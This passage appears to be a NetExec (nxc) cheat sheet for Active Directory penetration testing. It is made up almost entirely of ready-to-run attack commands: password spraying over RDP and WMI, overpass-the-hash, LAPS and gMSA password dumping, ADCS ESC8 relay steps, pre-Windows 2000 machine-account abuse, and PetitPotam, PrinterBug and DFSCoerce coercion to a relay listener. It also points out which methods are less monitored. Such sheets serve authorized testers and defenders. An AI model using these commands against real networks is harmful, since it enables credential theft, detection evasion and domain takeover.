RDP module supports password spraying, screenshot capture (with or without NLA), and command execution. Screenshot capture is particularly useful for situational awareness without interactive access.

# Password spray via RDP
nxc rdp 192.168.1.0/24 -u users.txt -p 'Welcome1!' --continue-on-success

# Single credential validation
nxc rdp 192.168.1.0/24 -u admin -p 'Password123'

# Screenshot of logged-in sessions (requires valid creds)
nxc rdp 192.168.1.0/24 -u admin -p pass --screenshot
nxc rdp 192.168.1.0/24 -u admin -p pass --screenshot --screentime 10

# Screenshot WITHOUT NLA (no creds needed if NLA disabled)
nxc rdp 192.168.1.0/24 --nla-screenshot

# Command execution via RDP
nxc rdp 192.168.1.0/24 -u admin -p pass -x "whoami"

#RDP Notes

Status	Meaning
`[+]`	Valid credentials, RDP access
`[-]`	Invalid credentials
`[!]`	NLA required / restricted

#WMI Protocol

#WMI Command Reference

WMI (Windows Management Instrumentation) provides an alternative execution method that's often less monitored than SMB or WinRM.

# Password spray via WMI
nxc wmi 192.168.1.0/24 -u users.txt -p 'Welcome1!'

# Authenticate and execute commands
nxc wmi 192.168.1.0/24 -u admin -p pass -x "whoami"

# Execute with specific method
nxc wmi 192.168.1.0/24 -u admin -p pass -x "ipconfig" --exec-method wmiexec

#WMI vs SMB vs WinRM

Protocol	Port	Stealth	Requirements
SMB	445	Low (heavily logged)	Admin share access
WinRM	5985/5986	Medium	WinRM enabled
WMI	135	Higher	DCOM access
RDP	3389	Low (GUI)	RDP enabled

#Kerberos Authentication

#Using Kerberos with nxc

Kerberos authentication avoids NTLM entirely - useful when NTLM is disabled or monitored. Requires DNS resolution of hostnames (not just IPs).

# Authenticate with Kerberos (password)
nxc smb dc01.corp.local -u user -p pass -k

# Authenticate with Kerberos (hash - overpass-the-hash)
nxc smb dc01.corp.local -u user -H '<NThash>' -k

# Specify KDC explicitly
nxc smb dc01.corp.local -u user -p pass -k --kdcHost dc01.corp.local

# Use existing ccache ticket
export KRB5CCNAME=/tmp/admin.ccache
nxc smb dc01.corp.local -u user -k --use-kcache

# Kerberos with all protocols
nxc ldap dc01.corp.local -u user -p pass -k --bloodhound -c All
nxc winrm dc01.corp.local -u user -p pass -k -x "whoami"
nxc mssql sql01.corp.local -u user -p pass -k -q "SELECT @@version"

# Generate TGT for reuse
nxc smb dc01.corp.local -u user -p pass --gen-tgt

#Certificate Authentication

# Authenticate with PFX certificate (PKINIT)
nxc smb dc01.corp.local -u user --pfx cert.pfx
nxc ldap dc01.corp.local -u user --pfx cert.pfx -k

# With certificate password
nxc smb dc01.corp.local -u user --pfx cert.pfx --pfx-pass 'certpass'

#LAPS & ADCS

#LAPS (Local Admin Password Solution)

LAPS stores unique local admin passwords in AD. If you can read the LAPS attribute, you get local admin on that host.

# Read LAPS passwords (requires ReadLAPSPassword rights)
nxc smb dc01 -u user -p pass --laps

# Use LAPS password for lateral movement
nxc smb 192.168.1.0/24 -u laps_reader -p pass --laps --continue-on-success

# LAPS with specific attribute (LAPSv2 uses msLAPS-Password)
nxc ldap dc01 -u user -p pass -M laps

# Dump LAPS passwords for all computers
nxc ldap dc01 -u user -p pass --laps --kdcHost dc01

#ADCS - Certificate Abuse

Active Directory Certificate Services exploitation. ESC1-ESC8 vulnerabilities allow privilege escalation to Domain Admin.

# Enumerate ADCS (find vulnerable templates)
nxc ldap dc01 -u user -p pass -M adcs
nxc ldap dc01 -u user -p pass -M adcs -o SERVER=ca01.corp.local

# Exploit ESC8 (NTLM relay to HTTP enrollment)
# 1. Find enrollment endpoints
nxc ldap dc01 -u user -p pass -M adcs

# 2. Then use ntlmrelayx or certipy
# certipy find -u [email protected] -p pass -dc-ip dc01
# certipy req -u [email protected] -p pass -ca CORP-CA -template VulnTemplate

#Delegation Abuse

# Find unconstrained delegation
nxc ldap dc01 -u user -p pass --delegations

# Find constrained delegation
nxc ldap dc01 -u user -p pass -M delegation

# Enumerate misconfigured delegation
nxc ldap dc01 -u user -p pass --find-delegation

#gMSA & SCCM

# Dump gMSA (Group Managed Service Account) passwords
nxc ldap dc01 -u user -p pass --gmsa

# Enumerate SCCM
nxc ldap dc01 -u user -p pass -M sccm

# Enumerate Entra ID (Azure AD) join info
nxc ldap dc01 -u user -p pass -M enum_entra

#Pre2k, Coercion & Spooler

#Pre2k Computer Account Abuse

Pre-Windows 2000 compatible computer accounts have a predictable default password (lowercase machine name without the trailing $). If the Pre-Windows 2000 Compatible Access group is enabled, these accounts can be abused for initial access or privilege escalation.

# Find pre-2000 computer accounts
nxc ldap dc01 -u user -p pass -M pre2k

# The module checks for machine accounts created with
# "Assign this computer account as a pre-Windows 2000 computer"
# Default password = lowercase hostname (without $)

# Example: machine DESKTOP-ABC123$ has password desktop-abc123
nxc smb dc01 -u 'DESKTOP-ABC123$' -p 'desktop-abc123'

# If the password was never changed, you get a valid machine account
# Use it for:
# - LDAP enumeration
# - Kerberoasting
# - RBCD attack (configure delegation on the machine account)
nxc ldap dc01 -u 'DESKTOP-ABC123$' -p 'desktop-abc123' --bloodhound -c All

#Coerce Attacks (coerce_plus)

coerce_plus is a module that triggers authentication coercion from target machines. It combines PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce and others into a single module. Coerced authentication can be relayed (ntlmrelayx) or captured (Responder).

# Check all coercion methods against target
nxc smb 192.168.1.0/24 -u user -p pass -M coerce_plus

# Coerce with specific listener (your relay/responder IP)
nxc smb dc01 -u user -p pass -M coerce_plus -o LISTENER=10.10.10.1

# Individual coercion methods (if coerce_plus not available)
# PetitPotam (MS-EFSRPC)
nxc smb dc01 -u user -p pass -M petitpotam -o LISTENER=10.10.10.1

# PrinterBug / SpoolSample (MS-RPRN)
nxc smb dc01 -u user -p pass -M printerbug -o LISTENER=10.10.10.1

# DFSCoerce (MS-DFSNM)
nxc smb dc01 -u user -p pass -M dfscoerce -o LISTENER=10.10.10.1

# ShadowCoerce (MS-FSRVP)
nxc smb dc01 -u user -p pass -M shadowcoerce -o LISTENER=10.10.10.1

# Typical relay workflow:
# Terminal 1: ntlmrelayx.py -t ldap://dc02 --delegate-access
# Terminal 2: nxc smb dc01 -u user -p pass -M coerce_plus -o LISTENER=10.10.10.1

#Spooler & WebDAV Discovery

Print Spooler and WebDAV are required for certain coercion and relay attacks. Spooler enables PrinterBug, WebDAV enables HTTP-based coercion (useful for RBCD since it authenticates as the machine over HTTP).

# Check if Print Spooler is enabled
nxc smb 192.168.1.0/24 -u user -p pass -M spooler

# Check if WebDAV is enabled (WebClient service)
nxc smb 192.168.1.0/24 -u user -p pass -M webdav

# Both at once
nxc smb 192.168.1.0/24 -u user -p pass -M spooler -M webdav

# Why it matters:
# Spooler ON  -> PrinterBug coercion works
# WebDAV ON   -> HTTP-based coercion -> RBCD relay chain
# Both OFF    -> coercion much harder, need PetitPotam or DFS

#Coercion Attack Cheatsheet

Method	Protocol	Module	Requires
PetitPotam	MS-EFSRPC	`petitpotam`	Any authenticated user
PrinterBug	MS-RPRN	`printerbug`	Spooler service running
DFSCoerce	MS-DFSNM	`dfscoerce`	DFS role installed
ShadowCoerce	MS-FSRVP	`shadowcoerce`	File Server VSS Agent
coerce_plus	All above	`coerce_plus`	Checks all methods

#Also See

#Official Resources

#Cyber Aurelien Guidi

BloodHound (AD attack paths)
Certipy (ADCS exploitation)
Mimikatz (Credential dumping)
Metasploit (Exploitation framework)
Hashcat (Password cracking)
AD Toolkit (AD cheatsheet hub)
Azure AD (Entra ID pentest)